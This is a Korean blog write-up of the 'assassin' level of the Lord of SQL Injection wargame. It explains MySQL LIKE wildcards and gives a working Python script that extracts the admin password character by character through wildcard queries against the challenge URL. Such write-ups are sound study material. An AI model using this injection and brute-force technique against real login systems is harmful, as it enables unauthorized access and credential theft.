Web
LOS - assassin
secretjuju
2020. 5. 7. 02:29
' 이 차단되어 pw like '' 밖으로 나올 수 없게 되었다.
그러면 이 상태에서 꼼짝없이 admin의 pw를 구해야 하는가?
mysql에서 문자열을 이용해 검색을 할때 표준문자열을 이용하여 비밀번호를 유추할 수 있지 않을까?
리눅스에서 ls -l ~/a* 를 입력하면 자신의 홈디렉토리의 a로 시작하는 모든것을 볼 수 있듯이
mysql에도 %라는 이스케이프 문자가 존재한다.
a%는 a로 시작하는 문자열
%b는 b로 끝나는 문자열
%c% 는 c 가 들어가는 문자열을 뜻한다.
이걸 이용해서 admin의 비밀번호를 구하기 전 다른 계정과 시작하는게 같을 수 있으니 그걸 고려해서 파이썬으로 코드를 짜 보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
import requests
from bs4 import BeautifulSoup
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {
"PHPSESSID":"나의의 PHPSESSID"
}
keywords = [""]
keyword_founded = False
while True:
existList = []
for i in range(33,127):
if chr(i) == '#' or chr(i) == "%" or chr(i) == "_":
continue
for k in keywords:
keyword = k + chr(i)
payload = "?pw="+keyword+"%"
#print(url+payload)
res = requests.get(url=url+payload,cookies=cookies)
soup = BeautifulSoup(res.text, "html.parser")
pwExist = soup.find_all("h2")
print(chr(i),end="")
if pwExist:
existList.append(keyword)
print(keyword)
print("\n");
print(existList)
keywords = existList
for keyword in existList:
payload = "?pw=" +keyword+ "%"
res = requests.get(url=url + payload, cookies=cookies)
if "Hello admin" in res.text:
keyword_founded = True
break
if keyword_founded:
break
print("keyword : "+keyword+"%");
|
cs |

이렇게 나온 문자열을 pw에 넣으면 문제가 풀린다.
